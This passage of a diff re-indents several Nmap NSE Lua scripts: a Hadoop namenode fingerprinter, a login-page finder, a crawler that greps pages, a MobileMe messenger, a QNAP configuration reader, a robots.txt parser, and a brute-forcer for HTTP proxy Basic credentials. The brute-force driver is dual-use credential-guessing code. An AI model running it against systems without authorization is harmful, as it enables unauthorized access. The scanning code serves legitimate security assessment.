||||
end
|
||||
if #stats == 5 then
|
||||
stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1]))
|
||||
stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2]))
|
||||
stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3]))
|
||||
stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4]))
|
||||
stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5]))
|
||||
table.insert(result, ("Start: %s"):format(stats[2]))
|
||||
end
|
||||
if body:match("Version:%s*</td><td>([^][\n]+)") then
|
||||
local version = body:match("Version:%s*</td><td>([^][\n]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*</td><td>([^][\n]+)") then
|
||||
local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Logs") then
|
||||
local logs = body:match("([^][\"]+)\">Logs")
|
||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||
table.insert(result, ("Logs: %s"):format(logs))
|
||||
end
|
||||
if #stats == 5 then
|
||||
table.insert(result, ("Namenode: %s"):format(stats[1]))
|
||||
table.insert(result, ("Last Checkpoint: %s"):format(stats[3]))
|
||||
table.insert(result, ("Checkpoint Period: %s"):format(stats[4]))
|
||||
table.insert(result, ("Checkpoint: Size %s"):format(stats[5]))
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-secondary-namenode"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if stats[1]:match("([^][/]+)") then
|
||||
local newtarget = stats[1]:match("([^][/]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
local result = {}
|
||||
local uri = "/status.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local stats = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
-- Page isn't valid html :(
|
||||
for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
|
||||
table.insert(stats,i:match(":%s+([^][\n]+)"))
|
||||
end
|
||||
if #stats == 5 then
|
||||
stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1]))
|
||||
stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2]))
|
||||
stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3]))
|
||||
stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4]))
|
||||
stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5]))
|
||||
table.insert(result, ("Start: %s"):format(stats[2]))
|
||||
end
|
||||
if body:match("Version:%s*</td><td>([^][\n]+)") then
|
||||
local version = body:match("Version:%s*</td><td>([^][\n]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*</td><td>([^][\n]+)") then
|
||||
local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Logs") then
|
||||
local logs = body:match("([^][\"]+)\">Logs")
|
||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||
table.insert(result, ("Logs: %s"):format(logs))
|
||||
end
|
||||
if #stats == 5 then
|
||||
table.insert(result, ("Namenode: %s"):format(stats[1]))
|
||||
table.insert(result, ("Last Checkpoint: %s"):format(stats[3]))
|
||||
table.insert(result, ("Checkpoint Period: %s"):format(stats[4]))
|
||||
table.insert(result, ("Checkpoint: Size %s"):format(stats[5]))
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-secondary-namenode"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if stats[1]:match("([^][/]+)") then
|
||||
local newtarget = stats[1]:match("([^][/]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -44,73 +44,73 @@ categories = {"discovery", "safe"}
|
||||
portrule = shortport.http
|
||||
|
||||
local function parseAuthentication(resp)
|
||||
local www_authenticate = resp.header["www-authenticate"]
|
||||
if ( not(www_authenticate) ) then
|
||||
return false, "Server returned no authentication headers."
|
||||
end
|
||||
local www_authenticate = resp.header["www-authenticate"]
|
||||
if ( not(www_authenticate) ) then
|
||||
return false, "Server returned no authentication headers."
|
||||
end
|
||||
|
||||
local challenges = http.parse_www_authenticate(www_authenticate)
|
||||
if ( not(challenges) ) then
|
||||
return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
|
||||
end
|
||||
return true, challenges
|
||||
local challenges = http.parse_www_authenticate(www_authenticate)
|
||||
if ( not(challenges) ) then
|
||||
return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
|
||||
end
|
||||
return true, challenges
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
-- create a new crawler instance
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
-- create a new crawler instance
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
|
||||
-- create a table entry in the registry
|
||||
nmap.registry.auth_urls = nmap.registry.auth_urls or {}
|
||||
crawler:set_timeout(10000)
|
||||
-- create a table entry in the registry
|
||||
nmap.registry.auth_urls = nmap.registry.auth_urls or {}
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local auth_urls = tab.new(2)
|
||||
tab.addrow(auth_urls, "url", "method")
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
local auth_urls = tab.new(2)
|
||||
tab.addrow(auth_urls, "url", "method")
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- HTTP-based authentication
|
||||
if ( r.response.status == 401 ) then
|
||||
local status, auth = parseAuthentication(r.response)
|
||||
if ( status ) then
|
||||
local schemes = {}
|
||||
for _, item in ipairs(auth) do
|
||||
if ( item.scheme ) then
|
||||
table.insert(schemes, item.scheme)
|
||||
end
|
||||
end
|
||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes)))
|
||||
else
|
||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
|
||||
end
|
||||
nmap.registry.auth_urls[r.url] = "HTTP"
|
||||
-- FORM-based authentication
|
||||
elseif r.response.body then
|
||||
-- attempt to detect a password input form field
|
||||
if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
|
||||
tab.addrow(auth_urls, r.url, "FORM")
|
||||
nmap.registry.auth_urls[r.url] = "FORM"
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( #auth_urls > 1 ) then
|
||||
local result = { tab.dump(auth_urls) }
|
||||
result.name = crawler:getLimitations()
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
-- HTTP-based authentication
|
||||
if ( r.response.status == 401 ) then
|
||||
local status, auth = parseAuthentication(r.response)
|
||||
if ( status ) then
|
||||
local schemes = {}
|
||||
for _, item in ipairs(auth) do
|
||||
if ( item.scheme ) then
|
||||
table.insert(schemes, item.scheme)
|
||||
end
|
||||
end
|
||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes)))
|
||||
else
|
||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
|
||||
end
|
||||
nmap.registry.auth_urls[r.url] = "HTTP"
|
||||
-- FORM-based authentication
|
||||
elseif r.response.body then
|
||||
-- attempt to detect a password input form field
|
||||
if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
|
||||
tab.addrow(auth_urls, r.url, "FORM")
|
||||
nmap.registry.auth_urls[r.url] = "FORM"
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( #auth_urls > 1 ) then
|
||||
local result = { tab.dump(auth_urls) }
|
||||
result.name = crawler:getLimitations()
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -52,60 +52,60 @@ portrule = shortport.http
|
||||
-- Shortens a matching string if it exceeds 60 characters
|
||||
-- All characters after 60 will be replaced with ...
|
||||
local function shortenMatch(match)
|
||||
if ( #match > 60 ) then
|
||||
return match:sub(1, 60) .. " ..."
|
||||
else
|
||||
return match
|
||||
end
|
||||
if ( #match > 60 ) then
|
||||
return match:sub(1, 60) .. " ..."
|
||||
else
|
||||
return match
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
-- read script specific arguments
|
||||
local match = stdnse.get_script_args("http-grep.match")
|
||||
local break_on_match = stdnse.get_script_args("http-grep.breakonmatch")
|
||||
-- read script specific arguments
|
||||
local match = stdnse.get_script_args("http-grep.match")
|
||||
local break_on_match = stdnse.get_script_args("http-grep.breakonmatch")
|
||||
|
||||
if ( not(match) ) then
|
||||
return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set")
|
||||
end
|
||||
if ( not(match) ) then
|
||||
return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set")
|
||||
end
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
local results = {}
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
local results = {}
|
||||
|
||||
-- set timeout to 10 seconds
|
||||
crawler:set_timeout(10000)
|
||||
-- set timeout to 10 seconds
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
local matches = {}
|
||||
local body = r.response.body
|
||||
-- try to match the url and body
|
||||
if body and ( body:match( match ) or tostring(r.url):match(match) ) then
|
||||
local count = select(2, body:gsub(match, match))
|
||||
for match in body:gmatch(match) do
|
||||
table.insert(matches, "+ " .. shortenMatch(match))
|
||||
end
|
||||
local matches = {}
|
||||
local body = r.response.body
|
||||
-- try to match the url and body
|
||||
if body and ( body:match( match ) or tostring(r.url):match(match) ) then
|
||||
local count = select(2, body:gsub(match, match))
|
||||
for match in body:gmatch(match) do
|
||||
table.insert(matches, "+ " .. shortenMatch(match))
|
||||
end
|
||||
|
||||
matches.name = ("(%d) %s"):format(count,tostring(r.url))
|
||||
table.insert(results, matches)
|
||||
matches.name = ("(%d) %s"):format(count,tostring(r.url))
|
||||
table.insert(results, matches)
|
||||
|
||||
-- should we continue to search for matches?
|
||||
if ( break_on_match ) then
|
||||
crawler:stop()
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
table.sort(results, function(a,b) return a.name>b.name end)
|
||||
return stdnse.format_output(true, results)
|
||||
-- should we continue to search for matches?
|
||||
if ( break_on_match ) then
|
||||
crawler:stop()
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
table.sort(results, function(a,b) return a.name>b.name end)
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
|
||||
@@ -55,59 +55,59 @@ prerule = function() return true end
|
||||
-- This function decodes the single quote as a start and should really
|
||||
-- be replaced with a proper UTF-8 decoder in the future
|
||||
local function decodeString(str)
|
||||
return str:gsub("\226\128\153", "'")
|
||||
return str:gsub("\226\128\153", "'")
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
local function listDevices(mm)
|
||||
local status, devices = mm:getDevices()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get devices")
|
||||
end
|
||||
local status, devices = mm:getDevices()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get devices")
|
||||
end
|
||||
|
||||
local output = tab.new(2)
|
||||
tab.addrow(output, "id", "name")
|
||||
for i=1, #devices do
|
||||
local name = decodeString(devices[i].name or "")
|
||||
tab.addrow(output, i, name)
|
||||
end
|
||||
local output = tab.new(2)
|
||||
tab.addrow(output, "id", "name")
|
||||
for i=1, #devices do
|
||||
local name = decodeString(devices[i].name or "")
|
||||
tab.addrow(output, i, name)
|
||||
end
|
||||
|
||||
if ( 1 < #output ) then
|
||||
return stdnse.format_output(true, tab.dump(output))
|
||||
end
|
||||
if ( 1 < #output ) then
|
||||
return stdnse.format_output(true, tab.dump(output))
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
if ( not(arg_username) or not(arg_password) ) then
|
||||
return fail("No username or password was supplied")
|
||||
end
|
||||
if ( not(arg_username) or not(arg_password) ) then
|
||||
return fail("No username or password was supplied")
|
||||
end
|
||||
|
||||
if ( not(arg_deviceindex) and not(arg_listdevices) ) then
|
||||
return fail("No device ID was specificed")
|
||||
end
|
||||
if ( not(arg_deviceindex) and not(arg_listdevices) ) then
|
||||
return fail("No device ID was specificed")
|
||||
end
|
||||
|
||||
if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
|
||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||
return listDevices(mm)
|
||||
elseif ( not(arg_subject) or not(arg_message) ) then
|
||||
return fail("Missing subject or message")
|
||||
else
|
||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||
local status, devices = mm:getDevices()
|
||||
if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
|
||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||
return listDevices(mm)
|
||||
elseif ( not(arg_subject) or not(arg_message) ) then
|
||||
return fail("Missing subject or message")
|
||||
else
|
||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||
local status, devices = mm:getDevices()
|
||||
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get devices")
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get devices")
|
||||
end
|
||||
|
||||
if ( status and arg_deviceindex <= #devices ) then
|
||||
local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
|
||||
if ( status ) then
|
||||
return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
|
||||
else
|
||||
return "\n Failed to send message"
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( status and arg_deviceindex <= #devices ) then
|
||||
local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
|
||||
if ( status ) then
|
||||
return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
|
||||
else
|
||||
return "\n Failed to send message"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -42,74 +42,74 @@ local arg_method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "HEAD"
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
login = function( self, username, password )
|
||||
|
||||
-- the http library does not yet support proxy authentication, so let's
|
||||
-- do what's necessary here.
|
||||
local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
|
||||
local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
|
||||
-- the http library does not yet support proxy authentication, so let's
|
||||
-- do what's necessary here.
|
||||
local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
|
||||
local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
|
||||
|
||||
-- if we didn't get a 407 error, assume the credentials
|
||||
-- were correct. we should probably do some more checks here
|
||||
if ( response.status ~= 407 ) then
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
-- if we didn't get a 407 error, assume the credentials
|
||||
-- were correct. we should probably do some more checks here
|
||||
if ( response.status ~= 407 ) then
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
}
|
||||
|
||||
-- checks whether the proxy really needs authentication and that the
|
||||
-- authentication mechanism can be handled by our script, currently only
|
||||
-- BASIC authentication is supported.
|
||||
local function checkProxy(host, port, url)
|
||||
local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
|
||||
local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
|
||||
|
||||
if ( response.status ~= 407 ) then
|
||||
return false, "Proxy server did not require authentication"
|
||||
end
|
||||
if ( response.status ~= 407 ) then
|
||||
return false, "Proxy server did not require authentication"
|
||||
end
|
||||
|
||||
local proxy_auth = response.header["proxy-authenticate"]
|
||||
if ( not(proxy_auth) ) then
|
||||
return false, "No proxy authentication header was found"
|
||||
end
|
||||
local proxy_auth = response.header["proxy-authenticate"]
|
||||
if ( not(proxy_auth) ) then
|
||||
return false, "No proxy authentication header was found"
|
||||
end
|
||||
|
||||
local challenges = http.parse_www_authenticate(proxy_auth)
|
||||
local challenges = http.parse_www_authenticate(proxy_auth)
|
||||
|
||||
for _, challenge in ipairs(challenges) do
|
||||
if ( "Basic" == challenge.scheme ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false, "The authentication scheme wasn't supported"
|
||||
for _, challenge in ipairs(challenges) do
|
||||
if ( "Basic" == challenge.scheme ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false, "The authentication scheme wasn't supported"
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, err = checkProxy(host, port, arg_url)
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
local status, err = checkProxy(host, port, arg_url)
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -47,65 +47,65 @@ portrule = shortport.port_or_service ({443,8080}, "https", "tcp")
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local result = {}
|
||||
local path = "/cgi-bin/authLogin.cgi"
|
||||
local config_file = ""
|
||||
local result = {}
|
||||
local path = "/cgi-bin/authLogin.cgi"
|
||||
local config_file = ""
|
||||
|
||||
-- Retrieve file
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local data = http.get(host, port, path)
|
||||
-- Retrieve file
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local data = http.get(host, port, path)
|
||||
|
||||
-- Check if file exists
|
||||
if data and data.status and data.status == 200 and data.body and data.body ~= "" then
|
||||
-- Check if file exists
|
||||
if data and data.status and data.status == 200 and data.body and data.body ~= "" then
|
||||
|
||||
-- Check if the config file is valid
|
||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path)
|
||||
if string.match(data.body, '<QDocRoot version="[^"]+">') then
|
||||
config_file = data.body
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Check if the config file is valid
|
||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path)
|
||||
if string.match(data.body, '<QDocRoot version="[^"]+">') then
|
||||
config_file = data.body
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path)
|
||||
return
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path)
|
||||
return
|
||||
end
|
||||
|
||||
-- Extract system info from config file
|
||||
stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path)
|
||||
local vars = {
|
||||
-- Extract system info from config file
|
||||
stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path)
|
||||
local vars = {
|
||||
|
||||
-- System details --
|
||||
--{"Hostname","hostname"},
|
||||
{"Device Model", "internalModelName"},
|
||||
{"Firmware Version","version"},
|
||||
{"Firmware Build","build"},
|
||||
-- System details --
|
||||
--{"Hostname","hostname"},
|
||||
{"Device Model", "internalModelName"},
|
||||
{"Firmware Version","version"},
|
||||
{"Firmware Build","build"},
|
||||
|
||||
-- SSL --
|
||||
{"Force SSL","forceSSL"},
|
||||
{"SSL Port","stunnelPort"},
|
||||
-- SSL --
|
||||
{"Force SSL","forceSSL"},
|
||||
{"SSL Port","stunnelPort"},
|
||||
|
||||
-- Services --
|
||||
{"WebFS Enabled","webFSEnabled"},
|
||||
{"Multimedia Station Enabled","QMultimediaEnabled"},
|
||||
{"Multimedia Station V2 Supported","MSV2Supported"},
|
||||
{"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
|
||||
{"Download Station Enabled","QDownloadEnabled"},
|
||||
{"Network Video Recorder Enabled","NVREnabled"},
|
||||
{"Web File Manager Enabled","WFM2"},
|
||||
{"QWeb Server Enabled","QWebEnabled"},
|
||||
{"QWeb Server Port","QWebPort"},
|
||||
{"Qweb Server SSL Enabled","QWebSSLEnabled"},
|
||||
{"Qweb Server SSL Port","QWebSSLPort"},
|
||||
-- Services --
|
||||
{"WebFS Enabled","webFSEnabled"},
|
||||
{"Multimedia Station Enabled","QMultimediaEnabled"},
|
||||
{"Multimedia Station V2 Supported","MSV2Supported"},
|
||||
{"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
|
||||
{"Download Station Enabled","QDownloadEnabled"},
|
||||
{"Network Video Recorder Enabled","NVREnabled"},
|
||||
{"Web File Manager Enabled","WFM2"},
|
||||
{"QWeb Server Enabled","QWebEnabled"},
|
||||
{"QWeb Server Port","QWebPort"},
|
||||
{"Qweb Server SSL Enabled","QWebSSLEnabled"},
|
||||
{"Qweb Server SSL Port","QWebSSLPort"},
|
||||
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||
end
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||
end
|
||||
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
||||
@@ -33,79 +33,79 @@ local last_len = 0
|
||||
|
||||
-- split the output in 50 character length lines
|
||||
local function buildOutput(output, w)
|
||||
local nl
|
||||
local nl
|
||||
|
||||
if w:len() == 0 then
|
||||
return nil
|
||||
end
|
||||
if w:len() == 0 then
|
||||
return nil
|
||||
end
|
||||
|
||||
-- check for duplicates
|
||||
for i,v in ipairs(output) do
|
||||
if w == v or w == v:sub(2, v:len()) then
|
||||
return nil
|
||||
end
|
||||
end
|
||||
-- check for duplicates
|
||||
for i,v in ipairs(output) do
|
||||
if w == v or w == v:sub(2, v:len()) then
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- format lines
|
||||
if last_len == 0 or last_len + w:len() <= 50 then
|
||||
last_len = last_len + w:len()
|
||||
nl = ''
|
||||
else
|
||||
last_len = 0
|
||||
nl = '\n'
|
||||
end
|
||||
-- format lines
|
||||
if last_len == 0 or last_len + w:len() <= 50 then
|
||||
last_len = last_len + w:len()
|
||||
nl = ''
|
||||
else
|
||||
last_len = 0
|
||||
nl = '\n'
|
||||
end
|
||||
|
||||
output = output .. (nl .. w)
|
||||
output = output .. (nl .. w)
|
||||
end
|
||||
|
||||
-- parse all disallowed entries in body and add them to a strbuf
|
||||
local function parse_robots(body, output)
|
||||
for line in body:gmatch("[^\r\n]+") do
|
||||
for w in line:gmatch('[Dd]isallow:%s*(.*)') do
|
||||
w = w:gsub("%s*#.*", "")
|
||||
buildOutput(output, w)
|
||||
end
|
||||
end
|
||||
for line in body:gmatch("[^\r\n]+") do
|
||||
for w in line:gmatch('[Dd]isallow:%s*(.*)') do
|
||||
w = w:gsub("%s*#.*", "")
|
||||
buildOutput(output, w)
|
||||
end
|
||||
end
|
||||
|
||||
return #output
|
||||
return #output
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local dis_count, noun
|
||||
local answer = http.get(host, port, "/robots.txt" )
|
||||
local dis_count, noun
|
||||
local answer = http.get(host, port, "/robots.txt" )
|
||||
|
||||
if answer.status ~= 200 then
|
||||
return nil
|
||||
end
|
||||
if answer.status ~= 200 then
|
||||
return nil
|
||||
end
|
||||
|
||||
local v_level = nmap.verbosity() + (nmap.debugging()*2)
|
||||
local output = strbuf.new()
|
||||
local detail = 15
|
||||
local v_level = nmap.verbosity() + (nmap.debugging()*2)
|
||||
local output = strbuf.new()
|
||||
local detail = 15
|
||||
|
||||
dis_count = parse_robots(answer.body, output)
|
||||
dis_count = parse_robots(answer.body, output)
|
||||
|
||||
if dis_count == 0 then
|
||||
return
|
||||
end
|
||||
if dis_count == 0 then
|
||||
return
|
||||
end
|
||||
|
||||
-- verbose/debug mode, print 50 entries
|
||||
if v_level > 1 and v_level < 5 then
|
||||
detail = 40
|
||||
-- double debug mode, print everything
|
||||
elseif v_level >= 5 then
|
||||
detail = dis_count
|
||||
end
|
||||
-- verbose/debug mode, print 50 entries
|
||||
if v_level > 1 and v_level < 5 then
|
||||
detail = 40
|
||||
-- double debug mode, print everything
|
||||
elseif v_level >= 5 then
|
||||
detail = dis_count
|
||||
end
|
||||
|
||||
-- check we have enough entries
|
||||
if detail > dis_count then
|
||||
detail = dis_count
|
